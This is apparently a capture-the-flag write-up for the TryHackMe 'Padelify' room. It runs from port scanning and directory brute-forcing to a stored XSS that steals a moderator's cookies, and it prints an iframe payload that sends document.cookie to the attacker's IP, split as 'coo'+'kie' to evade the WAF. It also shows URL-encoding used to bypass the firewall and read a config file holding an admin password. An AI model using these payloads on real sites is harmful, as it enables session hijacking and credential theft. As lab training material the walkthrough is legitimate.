Press enter or click to view image in full size
By: Kavin Jindal (@Klevr)
Join Medium for free to get updates from this writer.
https://tryhackme.com/room/padelify
nmap -sC -sV -p- 10.48.132.157PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Padelify - Tournament Registration
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds
Press enter or click to view image in full size
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.48.132.157 -a "Mozilla/5.0 (Linux; Android 12; PSD-
AL00 Build/HUAWEIPSD-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36"Press enter or click to view image in full size
/logs and /config seemed interesting directories./config had an app.conf file that the WAF was restricting me from opening./logs directory had the following error.logfile.Press enter or click to view image in full size
error.log had the following contents.Press enter or click to view image in full size
python3 -m http.server 8000<img src='http://10.48.79.213:8000/burp.json'>burp.json file in my working directory and the above payload would execute in the moderator's page due to XSS which would send a GET request to my HTTP server. This was just to verify the vulnerability of XSS.Press enter or click to view image in full size
<script> tags are blockedcookie word is specifically blocked<img> tag with onload or onerror attribute is filtered too<iframe> tags along with onload attribute.<iframe onload="new Image().src='http://10.48.79.213:1234?x='+document['coo'+'kie']">document['coo'+'kie' specifically to evade the WAF filtering out the term cookie . The above payload was injected to steal the moderator cookies and return them to my machine.Press enter or click to view image in full size
<body> tag being used instead of <iframe>.Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
page with the value as match.php. This instantly gave me an idea of trying out SSRF (Server-Side Request Forgery) on the target./etc/passwd payload but it got flagged by the WAF.app.conf file inside the config folder which I couldn't open due to WAF restrictions./config/app.conf in the GET parameter and again got blocked by the firewallPress enter or click to view image in full size
/config/app.conf to a URL encoded format and sent the request to which I got the following response.Press enter or click to view image in full size
admin_info = "bL}8,S9W1o44" .admin username on the /login page.Press enter or click to view image in full size
I hope you found this write-up useful. Don’t forget to follow Avyukt Security for more quality cybersecurity content.
Happy Hacking!